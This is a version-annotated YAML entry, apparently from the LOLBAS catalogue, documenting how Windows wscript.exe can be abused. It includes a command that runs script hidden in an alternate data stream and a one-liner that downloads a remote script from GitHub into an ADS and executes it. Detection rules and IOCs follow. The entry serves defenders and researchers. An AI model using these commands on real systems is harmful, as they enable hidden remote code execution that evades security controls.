2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Wscript.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Used by Windows to execute scripts
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
2021-12-14 17:50:22 +01:00
|
|
|
- Command: wscript //e:vbscript c:\ads\file.txt:script.vbs
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Execute script stored in an alternate data stream
|
|
|
|
Usecase: Execute hidden code to evade defensive counter measures
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Execute: WSH
|
2019-06-27 17:27:31 +02:00
|
|
|
- Command: echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
|
|
|
|
Description: Download and execute script stored in an alternate data stream
|
|
|
|
Usecase: Execute hidden code to evade defensive counter measures
|
|
|
|
Category: ADS
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\wscript.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\wscript.exe
|
|
|
|
Detection:
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml
|
2023-06-19 23:40:24 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml
|
2021-11-15 14:19:03 +01:00
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml
|
2021-12-14 16:50:17 +01:00
|
|
|
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
|
2021-11-15 14:19:03 +01:00
|
|
|
- IOC: Wscript.exe executing code from alternate data streams
|
|
|
|
- IOC: DotNet CLR libraries loaded into wscript.exe
|
|
|
|
- IOC: DotNet CLR Usage Log - wscript.exe.log
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: Oddvar Moe
|
|
|
|
Handle: '@oddvarmoe'
|
2019-06-27 17:27:31 +02:00
|
|
|
- Person: SaiLay(valen)
|
|
|
|
Handle: '@404death'
|